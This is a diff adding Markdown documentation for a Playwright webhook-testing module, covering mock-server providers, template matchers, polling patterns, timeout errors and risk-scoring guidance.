+
+## Principle
+
+Three built-in providers ship with playwright-utils. Each wraps a different mock server API. For any backend not covered, implement the `WebhookProvider` interface. The registry only cares about the contract — not the backend technology.
+
+## WireMockWebhookProvider
+
+Uses `GET /__admin/requests` to fetch the webhook log and `DELETE /__admin/requests` to reset. Supports `deleteById` for `matched-only` cleanup.
+
+**Works with any backend implementing the `/__admin/requests` format** — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+```
+
+Supports both cleanup strategies. Use `matched-only` when running `fullyParallel: true`.
+
+## MockServerWebhookProvider
+
+Uses `PUT /mockserver/retrieve` to fetch logs with client-side `since` filtering.
+
+**Limitation**: `deleteById` is a no-op — MockServer does not support deleting individual log entries by ID. The `startedAt` timestamp filter handles per-test isolation. Use `full-reset` for explicit journal cleanup.
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## MockoonWebhookProvider
+
+Uses `GET /mockoon-admin/logs` to fetch logs. The admin API is enabled by default in `@mockoon/cli`. Default log limit is 100 entries — increase with `--max-transaction-logs` if your suite generates more.
+
+**Limitation**: `deleteById` is a no-op for the same reason as MockServer. Use `full-reset`.
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+Start Mockoon with an increased log limit if needed:
+
+```bash
+mockoon-cli start --data ./mockoon-config.json --max-transaction-logs 500
+```
+
+## Custom Provider
+
+Implement `WebhookProvider` for any backend that exposes a queryable request log:
+
+```typescript
+// support/providers/custom-webhook-provider.ts
+import type { WebhookProvider, ReceivedWebhook, WebhookQueryFilter } from '@seontechnologies/playwright-utils/webhook';
+import type { APIRequestContext } from '@playwright/test';
+
+export class CustomWebhookProvider implements WebhookProvider {
+  constructor(
+    private readonly baseUrl: string,
+    private readonly request: APIRequestContext,
+  ) {}
+
+  async getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]> {
+    const params = new URLSearchParams();
+    if (filter?.since) params.set('since', filter.since.toISOString());
+    if (filter?.method) params.set('method', filter.method);
+
+    const response = await this.request.get(`${this.baseUrl}/webhooks/received?${params}`);
+    const { webhooks } = await response.json();
+    return webhooks.map((w: Record<string, unknown>) => ({
+      id: String(w.id),
+      url: String(w.url),
+      method: String(w.method),
+      headers: (w.headers as Record<string, string>) ?? {},
+      body: w.body,
+      receivedAt: new Date(String(w.receivedAt)),
+    }));
+  }
+
+  async resetJournal(): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received`);
+  }
+
+  async deleteById(id: string): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received/${id}`);
+  }
+
+  async getCount(): Promise<number> {
+    const response = await this.request.get(`${this.baseUrl}/webhooks/count`);
+    const { count } = await response.json();
+    return count as number;
+  }
+}
+```
+
+## WebhookProvider Interface
+
+```typescript
+interface WebhookProvider {
+  getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]>;
+  resetJournal(): Promise<void>;
+  deleteById(id: string): Promise<void>;
+  getCount(criteria?: Record<string, unknown>): Promise<number>;
+  removeByCriteria?(criteria: Record<string, unknown>): Promise<void>;
+  setup?(): Promise<void>; // optional — called before test
+  teardown?(): Promise<void>; // optional — called after test
+}
+```
+
+## Provider Comparison
+
+| Provider                  | deleteById | resetJournal | Parallel-safe (shared journal)      | Recommended strategy                                  | API endpoint           |
+| ------------------------- | ---------- | ------------ | ----------------------------------- | ----------------------------------------------------- | ---------------------- |
+| WireMockWebhookProvider   | ✅ Yes     | ✅ Yes       | ✅ Yes (`matched-only`)             | `matched-only`                                        | `/__admin/requests`    |
+| MockServerWebhookProvider | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockserver/retrieve` |
+| MockoonWebhookProvider    | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockoon-admin/logs`  |
+| Custom                    | Depends    | Depends      | Depends on implementation           | Depends                                               | Your API               |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Full fixture wiring for each provider
+- `webhook-testing-fundamentals.md` — Cleanup strategy rationale
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-risk-guidance.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-risk-guidance.md
new file mode 100644
index 0000000..be8a20c
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-risk-guidance.md
@@ -0,0 +1,114 @@
+# Webhook Testing Risk Guidance
+
+## Principle
+
+Webhook integration points are high-risk boundaries — they represent asynchronous side effects that cross service boundaries. A missing or malformed webhook means a downstream system never received its trigger. Default risk level: **P2 × I3** (medium probability, high impact = Risk Score 6) → must be covered by integration tests.
+
+## When Webhook Tests Are Required
+
+Webhook tests are **required** (not optional) when:
+
+| Condition                                                          | Rationale                                                              |
+| ------------------------------------------------------------------ | ---------------------------------------------------------------------- |
+| Application publishes events to external subscribers               | External consumers depend on correct payload shape and delivery timing |
+| Event-driven architecture (Kafka/SQS/event bus → webhook delivery) | The delivery pipeline is a risk boundary; delivery failures are silent |
+| Payment, order, or notification side effects                       | Business-critical; missed webhooks = missed transactions               |
+| Integration with third-party services via webhooks                 | Breaking payload changes won't surface in unit or component tests      |
+| Any async side effect that a consumer polls-on or reacts-to        | Polling tests (`recurse`) can mask webhook delivery failures entirely  |
+
+## Risk Scoring
+
+```
+Risk = Probability × Impact
+
+Probability factors (P1–P3):
+  P1 (low):    Webhook system is mature, well-tested, no history of failures
+  P2 (medium): Kafka pipeline, multiple consumers, new integrations
+  P3 (high):   New delivery mechanism, external third-party webhooks, no retry logic
+
+Impact factors (I1–I3):
+  I1 (low):    Non-critical notifications (e.g. audit logs)
+  I2 (medium): Feature-level side effects (e.g. search index updates)
+  I3 (high):   Business-critical events (payments, orders, compliance)
+```
+
+Default webhook integrations: **P2 × I3 = 6** → High → must be tested.
+
+## What a Complete Webhook Test Looks Like
+
+A complete webhook test covers:
+
+1. **Happy path**: Action fires → webhook arrives with correct payload
+2. **Sequential events (drain pattern)**: Preceding event drained before asserting on next
+3. **Parallel isolation**: Template scoped by entity ID — workers don't cross-contaminate
+4. **Timeout/error shape**: `WebhookTimeoutError` tested for negative path coverage
+5. **Cleanup verification**: Fixture auto-cleans; no leaked webhooks after test
+
+**Minimal complete example** (from playwright-utils E2E suite):
+
+```typescript
+// Template factories scoped by ID — parallel safety
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  // Drain: consume the create webhook before testing the delete path
+  await webhookRegistry.waitFor(movieCreated(movieId));
+
+  await deleteMovie(authToken, movieId);
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+## Common Failure Patterns
+
+| Failure pattern                        | Root cause                                             | How the module addresses it                                                  |
+| -------------------------------------- | ------------------------------------------------------ | ---------------------------------------------------------------------------- |
+| Test passes but webhook never verified | Test asserted on status endpoint, not delivery         | `waitFor` forces assertion on actual webhook arrival                         |
+| Flaky under `fullyParallel: true`      | `full-reset` cleanup deletes another worker's webhooks | `matched-only` strategy — only matched webhooks are deleted                  |
+| Timeout gives no useful information    | No payload inspection on failure                       | `WebhookTimeoutError.receivedWebhooks` snapshot                              |
+| Template matches wrong test's webhook  | Template not scoped by entity ID                       | Template factories accept ID parameter; `matchPredicate` for complex scoping |
+| Test hangs at 30s default timeout      | Webhook not arriving; pipeline is slow                 | Use `withTimeout()` and `withInterval(500)` per template                     |
+| Journal grows unbounded                | No cleanup strategy configured                         | Configure `cleanupStrategy` in `webhookConfig`; fixture auto-cleans          |
+
+## Risk Mitigation Checklist (for TA assessment)
+
+When a system uses webhooks, verify the test suite covers:
+
+- [ ] Happy path for each event type that has an external subscriber
+- [ ] Template factories scoped by entity ID (parallel-safe)
+- [ ] Drain pattern applied to all sequential event assertions
+- [ ] Cleanup strategy matches provider capability: `matched-only` for providers that support `deleteById` (e.g. WireMock); `full-reset` with serial execution or an isolated provider instance per worker for MockServer/Mockoon
+- [ ] Timeout values appropriate for the delivery pipeline latency (Kafka pipelines need 15s+)
+- [ ] `WebhookTimeoutError` imported and tested in negative path coverage
+- [ ] Mock server (WireMock/MockServer/Mockoon) in Docker Compose / test infra
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-module-setup.md` — Fixture wiring for each provider
+- `webhook-template-matchers.md` — Template and matcher patterns
+- `risk-governance.md` — Risk scoring framework
+- `probability-impact.md` — P×I scale definitions
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-template-matchers.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-template-matchers.md
new file mode 100644
index 0000000..58d9cf7
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-template-matchers.md
@@ -0,0 +1,160 @@
+# Webhook Template Matchers
+
+## Principle
+
+Build typed templates with `webhookTemplate()` and compose matchers using `matchField`, `matchPartial`, and `matchPredicate`. All matchers on a template use AND semantics — every matcher must pass for a webhook to be considered a match. Templates are immutable value objects produced by a fluent builder.
+
+## Template Factory Pattern
+
+Define template factories as pure functions that accept a test-scoped ID. This is the key pattern for parallel isolation — each factory call produces a template bound to a specific entity:
+
+```typescript
+import { webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+// Template factories for movie webhooks
+// 15s timeout: the Kafka → HTTP webhook delivery pipeline can back up under
+// high CI concurrency (burn-in with many parallel workers). 10s was occasionally
+// not enough; 15s gives the pipeline headroom without slowing normal runs.
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+```
+
+The ID parameter scopes each template to a specific entity, preventing parallel workers from matching each other's webhooks.
+
+## Matcher Reference
+
+### matchField — dot-path exact match
+
+Traverses dot-notation paths into the payload. Never throws if the path is missing — a missing path evaluates as non-matching.
+
+```typescript
+webhookTemplate('order.created')
+  .matchField('event', 'order.created') // top-level field
+  .matchField('data.id', orderId) // nested path
+  .matchField('data.status', 'pending') // nested string value
+  .build();
+```
+
+Matcher detail output: `field(data.id=42)`
+
+### matchPartial — deep subset check
+
+Checks that the expected object is a subset of the received payload. Extra fields in the payload are ignored. Arrays use strict length matching.
+
+```typescript
+const partialTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.created.partial')
+  .matchPartial({ event: 'movie.created', data: { id: movieId } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `partial({"event":"movie.created","data":{"id":42}})`
+
+### matchPredicate — arbitrary function
+
+Accepts any `(payload: T) => boolean` function. Always requires a human-readable description string — this appears in `WebhookTimeoutError.matcherDetails` for debugging.
+
+**ID-scoped parallel isolation** (prevents cross-worker contamination in `waitForCount`):
+
+```typescript
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+```
+
+**Business data filtering**:
+
+```typescript
+const highRatingTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; rating: number };
+}>('movie.created.high-rating')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${movieId} and data.rating >= 9`, (p) => p.data.id === movieId && p.data.rating >= 9)
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `predicate(data.id is 42 and data.rating >= 9)`
+
+## Combining Matchers
+
+All matchers use AND semantics — all must pass for the webhook to match:
+
+```typescript
+// Combined field + partial: both matchers must pass
+const updateTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.updated')
+  .matchField('event', 'movie.updated')
+  .matchPartial({ data: { id: movieId, name: nameUpdate.name } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+## Per-Template Timeout and Interval
+
+Override the registry defaults on a per-template basis:
+
+```typescript
+webhookTemplate('slow.pipeline.event')
+  .matchField('event', 'slow.pipeline.event')
+  .withTimeout(60_000) // 60s for slow delivery pipelines
+  .withInterval(2_000) // poll every 2s
+  .build();
+```
+
+## clone() for Base Template Variations
+
+> **Note**: `clone()` is available on the builder but is not used in the playwright-utils E2E suite. Use it when multiple tests share the same base template with slight field variations.
+
+```typescript
+const base = webhookTemplate<OrderPayload>('order').matchField('event', 'order.completed');
+
+const forOrderA = base.clone().matchField('data.orderId', 'A').build();
+const forOrderB = base.clone().matchField('data.orderId', 'B').build();
+```
+
+## Builder API Summary
+
+| Method                      | Description                                            |
+| --------------------------- | ------------------------------------------------------ |
+| `webhookTemplate<T>(name)`  | Create a new builder with the given template name      |
+| `.matchField(path, value)`  | Add dot-path exact-match matcher                       |
+| `.matchPartial(expected)`   | Add deep-subset matcher                                |
+| `.matchPredicate(desc, fn)` | Add arbitrary predicate matcher (description required) |
+| `.withTimeout(ms)`          | Override registry default timeout                      |
+| `.withInterval(ms)`         | Override registry default poll interval                |
+| `.clone()`                  | Copy current builder state for variation               |
+| `.build()`                  | Produce the immutable `WebhookTemplate<T>` object      |
+
+## Related Fragments
+
+- `webhook-waiting-querying.md` — waitFor, waitForCount, drain pattern
+- `webhook-timeout-error.md` — Reading matcherDetails in error output
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-testing-fundamentals.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-testing-fundamentals.md
new file mode 100644
index 0000000..dfedb2d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-testing-fundamentals.md
@@ -0,0 +1,42 @@
+# Webhook Testing Fundamentals
+
+## Principle
+
+Webhook delivery is eventually consistent — your application fires HTTP callbacks asynchronously after events occur. Tests must poll until the expected webhook arrives or time out. The `@seontechnologies/playwright-utils` webhook module provides deterministic polling, typed matchers, rich timeout diagnostics, and cleanup strategies safe under `fullyParallel: true`.
+
+## Rationale
+
+Webhook tests fail for four structural reasons:
+
+- **Eventually consistent**: Webhook delivery happens asynchronously — you cannot assert immediately after triggering an event
+- **Parallel journal pollution**: When multiple workers share the same mock server, a fast worker's teardown can delete records a slow worker is still polling
+- **Opaque timeouts**: A bare timeout tells you only that the webhook didn't arrive — it shows you nothing about what did arrive
+- **Cleanup drift**: Resetting the full journal in `afterEach` creates a race condition under `fullyParallel: true`
+
+The playwright-utils approach:
+
+- **Polling via `recurse`**: Uses Playwright's `expect.poll` under the hood — retries with configurable timeout and interval until a match is found
+- **Typed matchers**: `matchField`, `matchPartial`, `matchPredicate` — all must pass (AND semantics); matchers never throw on missing paths
+- **Rich timeout errors**: `WebhookTimeoutError` carries `totalReceived`, `receivedWebhooks`, and `matcherDetails` so you can see what arrived vs. what was expected
+- **Isolation via `startedAt`**: Each `WebhookRegistry` instance records its creation timestamp; polling only fetches webhooks received after that point, preventing leakage from prior tests
+- **Two cleanup strategies**: `full-reset` (resets entire journal) and `matched-only` (deletes only matched webhooks — parallel-safe when the provider supports delete-by-ID, e.g. WireMock)
+
+## When to Use Webhook Tests
+
+| Scenario                                                          | Use webhook tests         |
+| ----------------------------------------------------------------- | ------------------------- |
+| Application publishes events to external subscribers              | ✅ Required               |
+| Event-driven architecture with Kafka/event bus → webhook delivery | ✅ Required               |
+| Payment, order, or notification side effects via webhooks         | ✅ Required               |
+| Testing that a webhook was NOT delivered                          | ✅ Verify via timeout     |
+| Polling a status endpoint for eventual consistency                | ❌ Use `recurse` directly |
+| Frontend receiving push notifications (WebSocket)                 | ❌ Different mechanism    |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Fixture wiring and cleanup strategies
+- `webhook-template-matchers.md` — matchField, matchPartial, matchPredicate
+- `webhook-waiting-querying.md` — waitFor, waitForCount, getReceived, drain pattern
+- `webhook-timeout-error.md` — WebhookTimeoutError debugging
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider
+- `webhook-risk-guidance.md` — Risk-based guidance for TA and TD capabilities
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-timeout-error.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-timeout-error.md
new file mode 100644
index 0000000..34b7b73
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-timeout-error.md
@@ -0,0 +1,130 @@
+# WebhookTimeoutError and Debugging
+
+## Principle
+
+`WebhookTimeoutError` is thrown when `waitFor` or `waitForCount` does not find a matching webhook within the configured timeout. It carries a snapshot of received webhooks from the last polling cycle — truncated to the last 10 entries — so you can inspect what arrived vs. what was expected. The full count of all received webhooks is available in `totalReceived`.
+
+## Error Properties
+
+```typescript
+class WebhookTimeoutError extends Error {
+  readonly name = 'WebhookTimeoutError';
+  readonly templateName: string; // from webhookTemplate('...')
+  readonly timeoutMs: number; // the timeout that was exceeded
+  readonly totalReceived: number; // total webhooks seen in polling window
+  readonly receivedWebhooks: ReceivedWebhook[]; // last ≤10 received webhooks
+  readonly matcherDetails: string[]; // human-readable matcher summary
+
+  toJSON(): Record<string, unknown>; // serialize all fields for CI logs
+}
+```
+
+`receivedWebhooks` is capped at the last 10 entries. If more than 10 webhooks arrived, `totalReceived` shows the full count but `receivedWebhooks` contains only the most recent 10.
+
+## Reading the Error
+
+The error message format:
+
+```
+Webhook "movie.deleted" not received within 15000ms.
+3 webhook(s) were received but none matched.
+Matchers: field(event="movie.deleted"), field(data.id=42).
+```
+
+Use `matcherDetails` to confirm the matchers were configured correctly. Use `receivedWebhooks` to inspect actual payloads — compare field paths and values against what the matchers expect.
+
+## Validating the Error Shape in Tests
+
+```typescript
+import { WebhookTimeoutError, webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+const neverArrivingTemplate = webhookTemplate('never.arrives')
+  .matchField('event', 'event.that.never.happens')
+  .withTimeout(500)
+  .withInterval(100)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(neverArrivingTemplate)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.templateName).toBe('never.arrives');
+expect(error.timeoutMs).toBe(500);
+expect(error.toJSON()).toMatchObject({
+  name: 'WebhookTimeoutError',
+  templateName: 'never.arrives',
+  timeoutMs: 500,
+  totalReceived: expect.any(Number),
+  matcherDetails: ['field(event="event.that.never.happens")'],
+});
+```
+
+## Inspecting receivedWebhooks
+
+When a webhook arrives but doesn't match, `receivedWebhooks` shows you what actually came in:
+
+```typescript
+// Wait for create webhook first — puts it in the journal
+await webhookRegistry.waitFor(movieCreated(movieId));
+
+// Wait for delete webhook that will never arrive — no delete was called
+const undeliveredDelete = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.deleted.not.delivered')
+  .matchField('event', 'movie.deleted')
+  .matchField('data.id', movieId)
+  .withTimeout(2_000)
+  .withInterval(200)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(undeliveredDelete)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.totalReceived).toBeGreaterThanOrEqual(1);
+
+// The movie.created webhook that did arrive is visible in the error
+const createdWebhook = error.receivedWebhooks.find((w) => (w.body as { data: { id: number } }).data.id === movieId);
+expect(createdWebhook).toBeDefined();
+expect((createdWebhook!.body as { event: string }).event).toBe('movie.created');
+```
+
+## Common Failure Patterns
+
+| What you see                           | Likely cause                                         | Fix                                                               |
+| -------------------------------------- | ---------------------------------------------------- | ----------------------------------------------------------------- |
+| `totalReceived: 0`                     | Webhook not delivered; wrong URL or event not firing | Check application event publishing and webhook routing            |
+| `totalReceived > 0`, none match        | Webhooks arriving but matchers not matching          | Inspect `receivedWebhooks[0].body` — check field paths and values |
+| `matcherDetails` shows wrong path      | Template factory misconfigured                       | Print `error.toJSON()` and compare paths against actual payload   |
+| `totalReceived: 0` with `matched-only` | Another worker claimed and deleted the webhook first | Ensure template is scoped by entity ID                            |
+| Parse error in body                    | Webhook body is not valid JSON                       | Check `receivedWebhooks[n].parseError` and `rawBody`              |
+
+## matcherDetails Format per Matcher Type
+
+| Matcher                         | matcherDetails string |
+| ------------------------------- | --------------------- |
+| `matchField('event', 'x')`      | `field(event="x")`    |
+| `matchPartial({ a: 1 })`        | `partial({"a":1})`    |
+| `matchPredicate('my desc', fn)` | `predicate(my desc)`  |
+
+## Import
+
+```typescript
+import { WebhookTimeoutError } from '@seontechnologies/playwright-utils/webhook';
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — matcherDetails string format per matcher type
+- `webhook-waiting-querying.md` — waitFor and waitForCount throw this error on timeout
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-waiting-querying.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-waiting-querying.md
new file mode 100644
index 0000000..7474791
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/webhook-waiting-querying.md
@@ -0,0 +1,167 @@
+# Webhook Waiting and Querying Patterns
+
+## Principle
+
+`waitFor` and `waitForCount` poll until matching webhooks arrive; `getReceived` queries without waiting. Always drain preceding events before asserting on subsequent ones. Scope templates by entity ID to prevent parallel worker cross-contamination.
+
+## Pattern Examples
+
+### Example 1: waitFor — single webhook
+
+Poll until the first webhook matching the template arrives. Returns the typed `ReceivedWebhook<T>`.
+
+```typescript
+const webhook = await webhookRegistry.waitFor(movieCreated(movieId));
+
+expect(webhook.body).toMatchObject({
+  event: 'movie.created',
+  timestamp: expect.any(String),
+  data: {
+    id: movieId,
+    name: movie.name,
+    year: movie.year,
+    rating: movie.rating,
+  },
+});
+```
+
+### Example 2: The drain pattern — sequential events
+
+When testing a downstream event (e.g. deletion), always `waitFor` the preceding event first. Without the drain, the create webhook may remain in the journal and interfere with cleanup or subsequent polling.
+
+```typescript
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  await log.step('Drain the create webhook before testing the delete path');
+  await webhookRegistry.waitFor(movieCreated(movieId)); // drain — consume the create event
+
+  await deleteMovie(authToken, movieId);
+
+  await log.step('Wait for the delete webhook');
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+**Why drain?** If you skip the drain and go directly to `waitFor(movieDeleted)`, the create webhook is already in the journal. The delete webhook may arrive and be cleaned up by another test before your poll reaches it. Draining makes the event order explicit and removes the ambiguity.
+
+### Example 3: waitForCount — collect N webhooks concurrently
+
+Collect exactly N matching webhooks. Use `matchPredicate` with all IDs to prevent cross-worker contamination when running `fullyParallel: true`:
+
+```typescript
+await log.step('Create two movies concurrently');
+const [{ body: res1 }, { body: res2 }] = await Promise.all([
+  addMovie(authToken, generateMovieWithoutId()),
+  addMovie(authToken, generateMovieWithoutId()),
+]);
+
+const [id1, id2] = [res1.data.id, res2.data.id];
+
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+
+const webhooks = await webhookRegistry.waitForCount(batchTemplate, 2);
+
+expect(webhooks).toHaveLength(2);
+const receivedIds = webhooks.map((w) => w.body.data.id);
+expect(receivedIds).toContain(id1);
+expect(receivedIds).toContain(id2);
+expect(new Set(receivedIds).size).toBe(2); // guard against the same ID delivered twice
+```
+
+### Example 4: getReceived — query without waiting
+
+Query the journal without polling. Useful for asserting presence of webhooks after a `waitFor`, or for method/URL filtering.
+
+```typescript
+await webhookRegistry.waitFor(movieCreated(movieId)); // wait first
+
+const all = await webhookRegistry.getReceived();
+expect(all.length).toBeGreaterThanOrEqual(1);
+
+// Method filter — all sample-app webhooks are delivered via POST
+const postOnly = await webhookRegistry.getReceived({ method: 'POST' });
+expect(postOnly.every((w) => w.method === 'POST')).toBe(true);
+
+// URL pattern filter — match the webhooks endpoint path
+const byUrl = await webhookRegistry.getReceived({ urlPattern: '/webhooks' });
+expect(byUrl.every((w) => w.url.includes('/webhooks'))).toBe(true);
+```
+
+`getReceived` accepts `WebhookQueryFilter`:
+
+```typescript
+type WebhookQueryFilter = {
+  urlPattern?: string; // glob or regex string
+  method?: string; // HTTP method filter
+  since?: Date; // only return webhooks after this timestamp
+};
+```
+
+Note: `getReceived` is a direct passthrough to the provider — it does **not** automatically apply the `startedAt` filter. Only `waitFor` and `waitForCount` apply the since-filter internally during polling. If you need to scope a manual `getReceived` call to this test's time window, record your own timestamp before the action under test and pass `{ since: myTimestamp }` explicitly.
+
+## Parallel Worker Safety
+
+Always scope template factories to the entity's ID:
+
+```typescript
+// ✅ Scoped — only matches webhooks for this specific movie
+const movieCreated = (movieId: number) =>
+  webhookTemplate('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId) // scoped by ID
+    .build();
+
+// ❌ Unscoped — will match any movie.created from any parallel worker
+const movieCreatedUnscoped = webhookTemplate('movie.created').matchField('event', 'movie.created').build();
+```
+
+## Method Summary
+
+| Method                      | Returns                         | Description                                                                                       |
+| --------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------- |
+| `waitFor(template)`         | `Promise<ReceivedWebhook<T>>`   | Poll until first match; throws `WebhookTimeoutError` on timeout                                   |
+| `waitForCount(template, n)` | `Promise<ReceivedWebhook<T>[]>` | Poll until N matches; throws `WebhookTimeoutError` on timeout                                     |
+| `getReceived(filter?)`      | `Promise<ReceivedWebhook[]>`    | Direct passthrough to provider — no automatic since-filter; pass `{ since }` explicitly if needed |
+| `resetJournal()`            | `Promise<void>`                 | Wipe the entire journal and clear matchedIds                                                      |
+| `cleanup()`                 | `Promise<void>`                 | Delete matched webhooks (`matched-only`) or reset journal (`full-reset`)                          |
+
+## Anti-Patterns
+
+**DON'T skip the drain for sequential events:**
+
+```typescript
+// Bad: direct jump to delete webhook — create webhook pollutes the journal
+await addMovie(authToken, movie);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+**DO drain preceding events:**
+
+```typescript
+// Good: drain create first, then wait for delete
+await webhookRegistry.waitFor(movieCreated(movieId)); // drain
+await deleteMovie(authToken, movieId);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — How to build templates
+- `webhook-timeout-error.md` — What to do when waitFor times out
+- `recurse.md` — The polling primitive used internally by the registry
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/tea-index.csv b/plugins/bmad/skills/bmad-testarch-automate/resources/tea-index.csv
new file mode 100644
index 0000000..ebd3200
--- /dev/null
